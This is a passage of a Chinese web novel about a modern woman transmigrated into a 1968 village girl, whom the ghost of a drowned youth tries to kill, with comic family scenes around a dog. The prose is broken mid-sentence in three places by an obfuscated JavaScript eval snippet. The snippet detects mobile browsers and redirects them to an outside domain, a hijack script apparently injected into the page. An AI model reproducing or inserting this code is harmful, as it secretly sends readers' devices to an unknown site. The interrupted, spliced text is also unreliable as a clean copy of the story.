想起来邓霞就觉得气,“她家姑娘个个瘦瘦小小,她不去找她男人范五逼要粮食,偏看你哥和你不顺眼,我和你爹自己不舍得吃也要让娃吃饱饭,自然娃长得跟小牛崽似的!你听听她当时说的哪门子话,说什么给孩子吃死人饭,也不怕折了寿命!” 钟颖目瞪口呆,这话她听了都觉得过分了些,更不用说邓霞这个当娘的,这不是当着人爹娘的面咒孩子早死吗? “当时我就恼了,你爹是做红白事,时不时能拿回来些吃食贴补家里,可那也是你爹靠着一声又一声唢呐吹出来,请人做事给人包饭,从来都是这个道理,你爹舍不得吃拿回来给小孩吃那怎么能叫死人饭呢?那是从你爹嘴里省出来的饭!” 邓霞越说越快,义愤填膺,“而且你爹又不是只给白事吹唢呐,不还有喜宴吗?再说了,白事不也有喜丧吗?” 钟颖连忙安抚起她娘,“是是是,娘你看我们几个不都健健康康长大成人了,所以说这话真就跟放屁似的,不作数的……” 看她娘现在这样,钟颖都能想象到当时的情形,就邓霞这泼辣的性情,怕是当场就有仇报仇,所以两家才彻底结下了梁子。 邓霞虽然还想冲去隔壁和那聂英再打一架,但毕竟都是十几年前的事情了,现在都是当奶奶、姥姥的了,再像年轻时候扯着头发打架也挺掉份。 这样想着,邓霞才强压下胸口的火气,她再次掀开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448709|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅盖,香气浓烈的扑面而来,烙好的饼子上有一层褐色的酥皮,咬起来嘎吱脆,又香又有嚼劲,小国强就爱这一口,已经急不可耐的连声喊着,“奶奶,奶,我想要饼子……” 邓霞把锅里的饼子先挑出来两个给两小的一人一个,又铲出了一瓷碗的菜放到两孩子面前小木凳上,青色的萝卜混杂着嫩黄的鸡蛋,色香味俱全。 把锅里剩下的菜和饼子都铲到一个大盘子里,邓霞又接着拿出块腊肉,珍惜的切了一小段,切成片和西葫芦炒在了一起。 自己和一个三岁的小孩一样待遇,而忙着做饭的邓霞热得汗如雨下,却一口都还没吃,钟颖忍不住的良心痛。 想想原身虽然是个被惯坏的女孩,但也不至于没心没肺到不会心疼娘,于是钟颖拿饼子夹了些菜,递到邓霞嘴边。 “你吃你的,我等会儿去地里和你爹他们一块儿吃。”邓霞没接,心中却熨贴极了,还是闺女好,那些嘲笑她把早晚要嫁去别人家的闺女当块宝的人懂个屁!她闺女值得!无论是大儿子钟诚还是小儿子钟信,就从来没有这份细心和体贴。 邓霞这么想着,又从锅里把快速炒好的腊肉炒西葫芦给她可心的闺女铲了一大勺。 钟颖看着面前冒尖的碗不禁语塞,她娘这一边做一边投喂,她都快要吃好了。 不过也也确实是这样,邓霞提罐挎篮,罐子里是甘甜清凉的白开水,篮子里两大盘子菜和饼子,她收拾好就不停歇的准备送去地里。 钟颖咽下嘴里最后一口饭,连忙说,“我来帮着拿。” 邓霞想想,也成,她也知道自己那套说辞拙劣,生产队的人大多都心中明白,见没什么人说,她也不必硬按着闺女憋在家里大门不出二门不迈的,而且也过去好些天了,“行,那正好等吃完你把这些碗筷的拿回家,我就不再回来,直接在地里干活了。” 叮嘱还在吃的钟国强好好呆在家里别乱跑,母女俩就一人提着罐子一人挎着篮子出门了。 路上遇到好几个妇人,邓霞就和她们寒暄几句,一边走一边说自己今天做了什么饭菜,也就农忙时饭菜最为齐整,不用费尽心思特别节省着做饭。 割麦子的人们远远看到走来的妇人们,就纷纷迫不及待的围拢过来,至于那不是说一动就头晕的钟颖,眼里只有饭的乡亲们还真没给她多少关注。 而等人们吃完饭,钟颖已经带着空罐子、挎着轻了许多的篮子走人了。 钟颖刚离开庄稼地不久,天色突然就阴沉下来,乌云遮住了阳光,原本燥热的正午也降下温来,仿佛下一刻就会下雨似的。 田间,赖混子趁着其他人埋头苦干的功夫偷摸直起身来,深知他这种前科的李明时不时抬头看一眼就为了盯着他,于是赖混子这种偷懒的行为没一会儿就被抓了个正着。 “又给我在这里偷奸耍滑,今天工分还给你只算六个!”李明皱着眉头,厉声说道。 赖混子连忙告饶,“别!队长别!我这看天呢,我怎么觉得这天色看着要下雨啊?” 麦收最怕的就是下雨,李明也顾不得追究了,他眯起眼看向天空,随即提起的心稍稍放下了些,“看样子乌云还在村子那边,地里这片天还晴着,但也说不好会不会刮来这边,大家伙抓点紧,赶紧抢收,真要下起雨来就挖排水沟,不能泡了大家辛辛苦苦种的粮食——” 田间人们心中紧张感油然而生,立刻铆足了劲抓紧干活。 有水滴自上而下滴到了钟颖鼻尖,她下意识的朝旁边树荫下走了一步,可躲进树下时钟颖又想起来不对,真要下雨了躲树下不是遭雷劈吗?她又赶紧向外走,准备小跑着回家。 可钟颖刚迈出去一步,就被一股力量又给带了回来。 一只冷硬如生铁般的手臂骤然横亘在钟颖的脖颈,将她扣进带着河水湿冷潮气的胸膛。 六月天的中午,钟颖却顿时脊背窜起一股寒意,冷汗都冒出来了。 是谁? 同甘生产队的人们不都是安居乐业的质朴农民吗?怎么会有人突然袭击她?而且她离开时明明人们都还在田间劳作。 是外村人? 几瞬间,钟颖脑海中已经闪过许多猜想,她努力镇定下来,试图获取更多的信息。 她一边用力扒住横亘在脖子前的手臂,一边向下快速瞟了一眼。 白色的衬衫袖子。 乡间很少有人会穿这种颜色、这种样式的衣服,既不耐脏又不方便干活,就连下乡的知青在此生活了一段时间后也不再穿这样的衣服。 钟颖突然在最近的记忆中找到了这种衣服的踪迹,是……前几天的丧礼上,她哥钟诚和其他乡亲一起把偏屋里的人连着他身下的木板一起抬入棺材里,在棺盖合上前,钟颖只看了一眼,瞥见那人身上穿着的是一身干净的白衬衣、黑裤子。 白衬衣…… 钟颖感觉自己呼吸都在停滞了片刻,汗毛骤然直立,风暴般的思绪不过短短几秒,她却在窥见真相时三观崩塌,怪不得她觉得自己后背已经湿透了,怕是不只有她的冷汗,还有对方身上的河水。 脖颈前的手臂还在收紧,和溺水恐怕无异的窒息感渐渐袭来,身后的人,或者应该说是鬼,贴在她耳边,状似亲昵却带着阴狠怨气,“不是想嫁给我吗?我来娶你了。” 什么“娶你”,是“取你小命”吧! 钟颖脸色发白,感觉自己几近窒息。 6. 你是不是有病? 钟颖有种马上要晕过去的感觉,不只是被吓的,还有因为三观崩塌造成的天旋地转,她一直以来都是无神论者,不信鬼神,只信科学,可现在她却被身后不知是诈尸还是鬼劫持着。 但毕竟连穿越的事情都能发生,再发生点其他超自然的事情也不奇怪。 横在钟颖脖子前的手臂还在继续用力,对方想要勒死她的意图昭然若揭。 身后的男鬼是真的想要“娶(取)”她小命,但钟颖还想再活一活。 “等等——”生死存亡时刻,钟颖抓着那仿佛铁钳般的青白手臂奋力挣扎,阴冷的触感令她毛骨悚然。钟颖顾不上重建三观,努力想着求生的办法,可人与超自然生物对抗,她根本毫无胜算。 与溺水一般,胸腔中的空气越来越少,视野中的一切变得模糊……最后关头钟颖还真被逼出了几分急智,她用几乎最后的气息努力说出,“我、其实我也是鬼,借尸还魂的鬼,我们是同类啊——” 人与鬼对抗没有任何胜算,所以钟颖选择不当人了。 一直在加力的“铁钳”停了下来,对方像是意外听到了什么笑话般,发出一声短促的嗤笑,满是嘲讽的冷意。 真诚是唯一必杀技,她选择坦白从宽。 现在也顾不上什么崩不崩人设了。 钟颖终于在一丝间隙中得到呼吸,她大口喘息着,脑子乱乱的,想到什么就说什么了,“其实我也已经死了,虽然我也叫钟颖,但我原本是生活在二十一世纪,我是家里独生女……” 李霖时阴测测的目光落在钟颖绷紧的侧脸上,“我都不知道,原来钟二叔家的闺女是个疯子?” 明明对方正贴着自己的耳朵说话,她的耳朵敏感,却丝毫感受不到任何气息的流动,仿佛空气变成了一潭凝滞的死水,这个认知让钟颖再一次意识到,自己身后的,并不是一个“人”。 “也对,不疯怎么能干出这样的事来?可真是好算计。”身后的男声嘲弄中带着阴沉的怨气。 李霖时在被拽住衣领被迫一同落入河水中后,女孩四肢如柔韧绞杀的水草缠在他身上,不过片刻他就想明白了对方的谋划,立刻挣扎着把钟颖用力推开,结果没想到不过一会儿的功夫自己居然会遇到更加难以挣脱的河水暗流,而被自己厌恶推开的钟颖却反倒幸运的活了下来。 “这几天我一直在想,就算我推开了你又能如何呢?当着那么多人的面,只要上了岸不论怎样我都只能娶你,还不如当时别使那么大的力气推开你,我们两个到下面正好做一对鬼夫妻,你不是想要嫁给我吗?这样也算是达成你的心愿了。” 话中的不甘、怨恨、懊恼、执拗……听得钟颖心中又升起死亡临近的恐惧,一瞬间仿佛回到她无法控制身体、骤然倒地的那一刻。 “当我听到乡亲们把事实歪曲成一段动人佳话,觉得我推开你是想把生的机会让给你、把你我塑造成一对可歌可泣、悲剧的、阴阳相隔的苦命鸳鸯时——” 咬着牙一字一顿,仿佛凝着冰的声音。 “你知道我是什么感觉吗?” 钟颖换位思考,不得不说,这确实挺让人呕血的。 “我想杀了你,每时每刻,都想要杀了你。” 李霖时也确实这么做了,他站在钟二叔家门口,却被那看门的大黑狗吼了许久,再加上院子里还有个孩子,他只好暂时放弃; 再之后,李霖时站在屋外,听着屋里自己爹深明大义的拒绝了钟二叔“赔儿子”,只让对方一家子帮忙操持他的丧事,杀意再次翻涌,可钟颖被她的家人们护在中间,让他无处下手; 然后是他的丧礼上,全生产队的人都来了,他总不能当着那些看着他长大、还特意来为他这个小辈吊唁的叔叔伯伯的面索命,只能眼睁睁的看着钟颖走在下山的队伍里离开。 葬礼后,钟颖又闷在家里好几天,直到今日,李霖时才终于找到了机会动手。 “有人和我讲过,”刚说出口,李霖时就发现自己说错了,才死没多久的他还保留着人的习惯,他顿了一下,又继续说,“鬼乱杀人会造业障,想要再去投胎就只能进畜生道,下辈子任人宰杀。但如果是杀害死自己的人,这叫冤有头债有主,来要债而已。” 钟颖听得一颗心狂跳,几乎快要卡到了嗓子眼,什么意思,所以杀她是天经地义? 身后的鬼杀心再起,不再想要用手臂勒死她,而是直接换成手,他的手五指修长,一手就整个掐住了钟颖的脖子,他白晰无血色的皮肤上青色血管分明,用力时更加突出。 “你听我说,我理解杀人偿命,”钟颖脸色逐渐涨红,被掐得喘不过气来,因为着急说话语速极快,求生本能让她的大脑此刻高速运转到了极致,“原本的钟颖已经为她的行为付出了生命的代价,她也已经死了!所以才有了我在这里,我不是钟颖,我真的是借尸还魂的鬼——” 呵。 李霖时发出一声冷笑,原来钟颖不只是“疯”,还这么会编瞎话? 手掌下的脖颈温热,颈侧的血管同步着她此刻怦怦狂跳的急促心跳节奏,如此鲜活,她说她是鬼?那没了体温和心跳的他算什么? 但是他缓慢的松开了手,死后的日子其实很无聊,没有了吃饭睡觉的需求,人们看不见他,告诉他不要乱杀人的鬼还要看顾自己的孩子,李霖时连个说话的人都没有,所以他不介意晚半刻再带走钟颖,如果她能给他带来什么乐子的话。 钟颖敏锐的察觉到对方的松动,立刻抓住机会挣扎了出去,还下意识的离他远了一些。 一口气踉跄的走出去两三步,钟颖才转过身来,直面讨命的鬼,想要让对方更加清楚的看到她脸上的真诚。 结果刚转过身来,在看清对方后,钟颖不由得倒抽了一口冷气。 “我勒个去超绝浓颜系男鬼……” 这人、不是,这鬼生得极好,天生的眉眼深邃,高鼻薄唇,在苍白无血色的脸上更显浓墨重彩,浓黑的发丝、流畅的下颚又如工笔画中精心勾勒的线条,昳丽的仿佛能勾人的艳鬼。 钟颖除了能想到一句“郎艳独绝”,就只剩“卧槽”了。 用现代人的说法总结来说,就是长得相当权威。 也许是因为原身对他有着愧疚心理,又或是逃避,钟颖接收到的记忆里关于这个被挑中的倒霉蛋青年只有些一晃而过的身影,直到此刻骤然直面对方。 可他虽然脚踩在地面上,身后却无半分影子,甚至身形边缘带着一种朦胧的半透缥缈,这种诡异的非人鬼魅感让钟颖很快从美色的蛊惑中清醒过来。 朝不保夕的关头,钟颖的求生本能胜过了一切,她努力为自己挣命,“我说的真的都是实话,虽然我也叫钟颖,但我出生于三十年后,死时二十七岁,死因是猝死。” 李霖时听得只觉荒谬,醋死? “还会有人喝醋把自己喝死吗?”李霖时冷笑着反问,一双浓黑的眼睛盯着钟颖,目光阴沉,没有一丝温度。 他期待的是死气沉沉的日子里能有些许的乐子,得到的却是令人发笑的糊弄。 李霖时后悔了,刚才他就应该立时掐死她,而不是在这里听她说这些荒谬的谎话。 “啊?”钟颖愣了一下,很快反应过来,解释道,“不是喝醋的醋,是猝然的猝,字面意思,就是猝然死亡,现代人很多都是加班太久这么死的,我也是。” 李霖时一个字都不信,“一天上八个小时的班能死人?” “……十二个小时。”钟颖纠正道,在这一刻打工人的怨气突然复苏,抵消掉了一部分她面对超自然生物的恐惧,“最近半年要求我们必须在公司待够十二个小时,并且死前我已经连续加班十七天了,本来外包出去的活儿现在全要我们自己干。” 李霖时哽住,“你是做什么工作的?” 照钟颖这话,那她干得活儿比生产队的牛都多。 “游戏公司研发部的原画师。游戏就是……”钟颖发现这些在现代人认知里司空见惯的东西在此刻解释起来却有些难,语言上解释不清楚,她便左右看了看,拾起路边的一根树枝在土地上画了起来。 “这是手机,”钟颖寥寥几笔就形象的画出手机的样子,“游戏就是会显示在这个屏幕上的一种休闲娱乐……” 额,现在这时候好像还没有手机。 怕李霖时理解不了,钟颖只能说了更多现代的事情辅以佐证,“以后的房子都是高楼大厦,我就住在十六楼,就连农村也基本都是二层小别墅;路是柏油路,路上都是汽车,所以堵车很严重,尤其是早高峰和晚高峰,所以我上班都是去坐地铁,地铁就是在地下的一种交通工具……” 钟颖原本以为现代的一切都只能烂在自己肚子里了,没想到还能有和别人、啊呸,别的鬼全盘托出的时候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448710|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一边说一边关注着那男鬼脸上的表情,见他那张虽然美丽但死气沉沉的脸上好似没那么阴郁可怖了,钟颖不禁稍稍松了口气。 如墨羽般的长睫上悬着一颗微小的水珠,李霖时抬眼,目光从地面上短短一会儿时间已经被画了一大片的图像上挪开,转而看向钟颖。 钟颖期待的看着他,这下总能相信自己不是那个害死他的钟颖了吧? “你是不是有精神病?” 男鬼唇色很浅,薄唇轻启,零下十度的嘴说出能让人瞬间冒火的话。 钟颖整个人都怔住了,不是,这鬼怎么不仅攻击人身(想要掐死她),还人身攻击(说她有病)啊? 李霖时其实是认真的。 虽然自己现在已经成了超乎科学范畴的存在,但李霖时听完钟颖说的话、看她画的那些图画,第一时间想到的却是他从学校图书馆中曾在一本书上看到的内容。有一种精神类疾病叫做人格分裂,主人格在经历一些事情后,或是想要寻找保护、或是逃避现实,从而分裂出另外的人格,这些人格会自发形成自己的性情、世界观甚至是迥然不同的职业。 钟颖听他说完都觉得好有道理啊,她甚至有一秒真的怀疑了自己,但下一秒钟颖又清醒过来,可她真的不是人格分裂啊! 那些加班甚至通宵的疲惫、小时候对父母争吵的恐惧到后来长大后的无力……所有的一切怎么可能是臆想,全都是生活这把钝刀子一刀刀磨在她身心的痛苦,残留下的痕迹证明一切都是真实发生过的事情。 “我真的不是什么第二人格,刚刚我说的一切都是实话。”钟颖脑袋有些痛,如何证明“我不是我”,这简直像是哲学问题,她冥思苦想,又换了种方法,“I''mreallynotasecondpersonality.EverythingIsaidisthetruth.” 钟颖用英语把自己刚刚说话复述了一遍,她看一些小说或是穿越剧中主角和老乡相认自证身份时都是用的这个法子,超管用的。 没想到李霖时听完一怔,只面色更加古怪的瞥她一眼,“你哥不是学习的料,你爹娘怎么不让你接着上学?” 钟颖:…… 她真没招了。 钟颖无力的看向好似在替她惋惜的男鬼,突然看到了什么,令她一惊。 也许是因为死在河里,这人、呸,这鬼身上带着河水的湿气,偏生他现在穿得又是一件白色的衬衣,众所周知,这种白色的轻薄衣服遇水会变成半透明,紧紧贴在身上。 刚刚钟颖只顾着关注对方的长相和脸上的细微表情了,根本没留意对方身上居然这么的……□□。 钟颖立刻尴尬的移开了目光。 “你都是鬼了,接受能力就不能提高些吗?我会英语当然是因为我上过学啊,不止大学,我连研究生都读下来了!”钟颖有种破罐子破摔的崩溃,不只是因为她真没招了,还因为刚才那一眼不小心瞥到了这鬼身上两粒爷爷的爱人,还是淡樱色的…… 崩溃,钟颖真不是故意想要看到的,可就在一霎那倏地撞进了她的视线中。 李霖时却见钟颖这幅逃避、不敢直视的样子顿时脸色一冷,眉眼间像是快速凝结成了一层霜,浑身煞气冲天。 “都是谎话。” 他居然在刚刚有一瞬间真的为她感到可惜。 “我真没有!” 钟颖急急反驳,她都把自己的底细揭露到这种程度了,怎么这鬼还觉得她在说谎?钟颖就差“请苍天、辫忠奸”了。 “你连直视我都不敢,还敢说自己没有说谎?”李霖时一双眼眸如黑墨般浓稠,冷冷的目光看着钟颖如同在看一个死人,或者在他眼里,她就是一个即将死去的人。 钟颖快速的抬起眼,看了一眼又忍不住再次侧头躲开,内心的崩溃再也压抑不住,“大哥,我这是非礼勿视好吗?我总不能像猥琐男一样,觉得这是什么送上门的福利就盯着一直看吧!” 非礼勿视? 李霖时怔住,低头一看…… 空气中安静了好一会儿。 钟颖小心的转回了些头,控制着自己的目光尽量只扫到男鬼脖子以上—— “哎?”钟颖讶然。 风吹过树枝,树叶簌簌作响,树下哪还有什么男鬼,只剩她一人。 钟颖难以置信,就这么放过她了? 7. 深夜来客 钟颖恍恍惚惚的拎着罐子、挎着篮子回到家,独自在家等了许久的小豆丁小跑着跑过来一把抱住她的腿,带着哭腔控诉道,“姑姑你怎么才回来?我还以为你不回来了呢!” “我也以为我差点就要回不来了……”钟颖脱力的呢喃道。 钟国强小手一抹眼泪,屁颠颠的接过钟颖手里的东西,“姑,我帮你拿去厨房!” 说完他就殷勤的动起来。 对于自己奇迹般的在想要杀她的鬼手下死里逃生,钟颖想了一路,该不会真的是因为自己说破了对方“耍流氓”的行为,这鬼就羞恼的跑走了?不是吧不是吧?那他这鬼道德标准还挺高。 也是,这时候人都是保守人,死了也是保守鬼。 而且,能不因她是女性、还为她惋惜没有继续上学的能是什么恶鬼? 钟颖想着也就没那么怕那鬼了,她脊背都挺直了些,突然想到了一句话,感慨道,“人善被人欺,鬼善被人骑啊——” 说完钟颖就觉得自己把原话中的“马”换做“鬼”换得不太恰当,让整句话意思都变得奇怪起来了,她连忙改口,“呸呸呸,什么骑啊,我骑他干嘛……” 钟颖不过是才寻到一线生机,那死鬼仍然是随时准备咬断她脖颈的“猛兽”,而她这个猎物想要骑到对方头上?是嫌死得还不够快吗? 不过总之,钟颖长出了一口气,微风吹过她汗湿的后背带来一丝凉意,她暂时逃过了一劫。 —— 入夜,村居群落一片宁静,辛苦劳作了一天的人们沉沉的陷入睡眠中。 夯土地面上悄无声息的洇开一片深色,旁边的土坯墙上也诡异的凝出一滴滴水珠,沉睡的女孩无知无觉。 细细密密的水迹仿佛有意识般朝着一处汇聚,慢慢凝结成模糊的黑影。 等彻底凝实,脸色青白的男人双眼如死水一般,幽黑阴鸷,透不进一丝光亮,他就这样无声的站在床沿边,居高临下的看着一无所知酣睡的女孩,杀意在他胸腔中翻涌泛滥。 在今天之前,李霖时从来没想过自己会深夜闯入一个女孩的房间里,但他等不了了。 他一定要杀了她。 这是她欠他的。 白日里李霖时几乎可以说落荒而逃,等他回过神来,发现自己已经错失机会。 所以李霖时破了自己的例,深夜闯入一个女性的屋子,但这样她就不能再说那些影响他的话了。 惨白的月光下,一只白到透明的手朝床上的人伸去,骨节分明的五指张开,仿佛铺开的猎网,目标是那一截纤细的脖颈。 他周身带着甘霖河底的阴冷湿意,夏夜的燥热也不得不退让三分。 要钟颖说,现在的生活各个方面她几乎都适应良好,就是少了现代那些便利的电器,尤其是现在的六月天,每天夜里她都热得睡不踏实,十分想念空调。 兴许是日有所思夜有所梦,钟颖突然梦到了自己这方陋室居然装上了空调,冷气呼呼的吹出机器,不多时整间房子都凉快了下来。 尽管仍在沉睡中,钟颖的意识也知道自己正在做一个荒诞的梦,六八年哪来的空调?但做梦嘛,她不介意沉溺在这样的美梦中,如画饼充饥、望梅止渴,她竟真的觉得凉快多了,沉睡中钟颖的眉头都舒展开了。 冰冷的手指扼住了脖颈。 李霖时感觉自己平静无波的情绪再次起了波澜,久违的兴奋感席卷全身。 钟颖甚至梦到了自己床上出现了现代她床上的抱枕,而且也神奇的变成冰冰凉凉的,贴到了她的脖子上,这下更凉爽了,她立刻像从前一样把抱枕抱进了怀里,还忍不住用脸颊蹭了蹭,发出一声舒服的喟叹。 李霖时僵住,不明白事情为什么又脱离他的设想。 他的手臂被女孩抱在怀中,原本想要掐死她的手被拽着拉到了她的脸侧,她甚至还亲呢的蹭了蹭。 原本睡在门口狗窝里的红糖狗鼻子突然动了动,嗅到了空气中古怪的多了一丝河水的味道,它立刻警觉的从睡梦中清醒过来,猛地狂吠起来。 “汪——汪——” 红糖钻出狗窝,深夜中它却不是对着院门吠叫,而是冲着院内的一间屋子叫个不停。 不多时一家子的人就都被狗吵醒了。 钟老爹和钟诚顾不得穿齐整衣服就操持着随手从屋里拿的扫帚、脸盆冲了出来,气愤的想要看看到底是哪个贼大半夜的不睡觉来偷东西、扰人清梦。 李霖时也被狗叫声惊得回过神,他立刻把自己的胳膊用力抽了回来,身子向后倒去,却没有像人一样仰面摔倒在地,而是如同一盆被泼到地上的水,在与地面接触的瞬间溅起无数水珠,再隐于泥土之中,以一种超乎常理的速度向下渗入,几个呼吸间就没了踪迹。 邓霞一边系着衣服上的疙瘩扣子,一边冒着火气从屋子走到院子里,“是哪个挨千刀的,大半夜的敢跑到我邓霞家里偷东西!” 钟颖也迷迷瞪瞪的醒了过来,起床拖拉着鞋,拉开门里的插栓,探出头去问了一声,“咋回事啊?” 钟诚和他带着一起睡的小侄子钟国强,一大一小两个脑袋探出他们屋子的窗户,好奇的看着外面。 钟诚快速的认真探查了一圈院内,每个能藏人的角落都找了,没有找到任何可疑人物,“没人。” 他又顺着大黑狗仍警惕看着、低声咆哮的方向看去,对着钟颖说,“你睡觉前屋里门窗都关好了吗?” 这话意思是坏人跑到她屋里了?钟颖被唬得也不犯困了,她仔细回想了一下,“关好了啊,刚刚我才拉开的门上插栓。” 隔着院墙传来一声叫嚣的女声,“钟老二家的,管好你家狗!大半夜的叫什么!” “就你耳朵灵!”邓霞没好气的扬声顶了一句回去,接着怒瞪着红糖,“大半夜的你叫啥,见鬼了啊!” 她不过是随口一说,钟颖却是虎躯一震。 钟老爹在一旁缓和道,“好了好了,都再去睡吧……” 说完钟春生就劝着还两眼冒火的邓霞回了屋。 钟信也把窗户关好,哄着走了困的小侄子再躺下。 钟诚叮嘱了钟颖让她记得把门窗都再关好,就回了东北角上他的那间屋子。 苗素云听到院里的狗叫和人们的说话声了,但她实在是累得动不了,连手指尖都带着透支过后的酥麻,只撩开眼皮看了一眼进屋的钟诚,问道,“是怎么了?” 钟诚把披在身上的衣服随手丢到一旁的箱柜上,光着健壮的上身躺了回来,抬手就揽过媳妇,在苗素云汗湿的鬓角边轻吻了一下,“没事,你接着睡就行。” 钟颖倒是没有着急回屋睡觉,而是朝院子内的大黑狗招招手,“来,红糖。” 大黑狗甩着尾巴就乖乖的钻进钟颖的屋子。 钟颖把门关好,抬手摸了摸自己脖子,果然湿湿的。不光这样,她趁着月色低头一看,只见她衣服前襟上也一片深色湿痕,怪不得她从刚刚就觉得胸口好似也湿漉漉的。 不是,掐脖子就算了,这鬼还往哪儿碰呢? 钟颖咬着后槽牙,只觉怒火直烧。 要是干出这种事的是个人,无论如何钟颖都要扇了他的脸,哐哐两个大耳光,她绝不容忍这种骚扰行为。 “偏偏是鬼……”钟颖气得攥紧了拳头,还是个想要她命的死鬼,她能求得的一线生机也不过是对方那一点残存的人性。 连做了好几个深呼吸把这口气强压下去,钟颖从木头柜子里找出一件冬天穿的旧袄子,铺在床脚,红糖好似知道这是给它准备的,从善如流的在上面团成一个舒服的姿势趴下。 虽然钟颖实打实的亲眼见到了鬼,但她还是不信鬼神,与其求山神娘娘不如求狗。虽然不确定狗是不是真的能克制鬼,但至少红糖是看家一把好手,能叫醒她,让她不至于在睡梦中无知无觉的被鬼骚扰或是索了命。 第二天一大早,邓霞出了屋子去厨房做一家人的早饭,一边忙活着一边觉得好像有哪里不对劲。 没多久苗素云也匆匆盘好头发,用冷水洗了把脸就过来帮忙。 邓霞看着儿媳妇的脸,忍不住说了一句,“这小子忒能折腾人。” 苗素云半晌后才听懂什么意思,腾地脸色涨得通红,恨不得脑袋扎进脖子里,“我、我去洗锅!” 邓霞看着苗素云慌张的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448711|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影只暗自摇了下头,她也不是取笑自家儿媳妇,只是说句公道话,她一边切着菜一边嘀咕,“臭小子,从小就一身牛劲……” 天色才蒙蒙亮,日头还没升起来,这会儿也没那么热,邓霞先给家里的两只鸡加了半碗糠,再麻利的做起人的饭食来,切下来的菜梗子她也不扔,准备给狗吃,“苗儿啊,去把红糖那碗拿过来——” 邓霞说完,才发现自己一直觉得不对劲的地方是什么了。 她家狗呢? 去狗窝拿红糖常用瓷碗的苗素云也顾不上羞意了,几个快步走回来,“娘,咱家狗不见了!” 虽然昨天晚上邓霞还对着红糖大小声呵斥了一句,但一听狗真的不见了,她顿时慌了神,“天杀的!昨晚那贼原来不是来偷东西的,而是来偷狗的!” 说话间邓霞的思绪已经如一脚油门般直冲最坏的设想,短短几瞬间她仿佛已经看到了自家养了十一年的狗进了别人肚子的场景。 邓霞眼含热泪,也顾不上做饭了,拿着手里的菜刀就要往外走,“我倒要挨家挨户看看到底谁家这时候飘出肉香味,老娘非把他家门板给剁碎了!” 吓得苗素云连忙去拦,“娘,娘!刀!刀先放下!” 想来帮忙端碗的钟诚刚走到厨房门口就见他娘这架势,立刻吓了一跳,“娘,你拿刀干啥?隔壁范婶子又惹你了?那也不能拿刀和人拼命啊!” 被饭香味勾起肚里馋虫的钟国强本想讨口吃的,却见他奶拿着菜刀气势汹汹要找人拼命的样子,哇得咧嘴大哭起来。 落后一步的钟信连忙把小侄子拉走,他娘生起气来把孩子都给吓哭了。 钟春生挤进厨房来,伸手想让邓霞把她手里的菜刀给他,“孩儿他娘你这是干啥?来,刀给我,有啥事我帮你……” 钟颖被乱糟糟的声音吵醒,顶着一头没梳的及肩长发,迷瞪着两眼出了屋子,“这又咋了?” 邓霞正热泪盈眶、悲愤交加的说出,“咱家狗……没了——” 话音未落,她就看到了跟着自己闺女一块儿从屋里出来的大黑狗。 邓霞:! 悲没了,只剩冲天的愤怒了,邓霞忘了自己手里还拿着把菜刀就朝女儿冲了过去,“你个臭丫头,哪有让狗睡人屋子里的!我这一大早上看狗没了,还以为是被昨晚上的人把狗偷了回去炖着吃了!” 钟颖吓得一激灵,睁大了眼睛掉头就绕着院子跑。 妈耶,她娘可比鬼彪悍多了! 那鬼还只是想要掐死她,她娘直接上菜刀了! 现代谁家狗不是睡人屋子里啊! 钟颖却没办法这么辩驳,真是有口说不出,这一刻她突然又想起了那死鬼,至少在他面前还能说这话,反正她老底都已经给鬼亮出来了。 “娘,刀!那是小妹啊!刀先放下!”苗素云着急的追在邓霞身后喊着。 钟信顾不得侄子了,连忙从一旁蹿出拦抱住他娘;钟诚腿长步子大,三两步追上来,把他娘手里的菜刀夺走。 邓霞这才想起自己手里原来还拿着把菜刀,任由心有余悸的儿子把刀拿走,邓霞追上钟颖,换成巴掌拍在她胳膊上。 “知不知道你娘大清早的差点要去别人家拼命了……” 钟家的一天,从鸡飞狗跳开始了。 李霖时坐在两天前被再次堆土堆出个圆形的自己坟上,远远看着山脚人家的热闹。 “你看这家,都不是什么特别坏的人,颖妮儿这丫头我也算是从小看到大的,虽然是被惯得有点不懂事,但你的死要全算她头上也确实过了些,她也不过是想要嫁给你而已,也没想让你死的。” 李霖时如白纸般的英俊面庞上没有一丝可以称得上活人会有的神情,他就这样面无表情的听着这话,无动于衷。 旁边另一个坟头的鬼叹了口气,“唉,算了,你怕是觉得我和颖妮儿算起来还是亲戚,这是在帮着她说话。那我也不多说什么了,我只希望你能再缓缓,多看一看,然后再决定是不是真的要动手。” 李霖时仍静静地,没有任何动作。 只是手背上仿佛还黏着那种细腻的、如羽毛拂过般的感觉。 8. 嫁不出去 “你就一刻都不能和狗分开吗?” 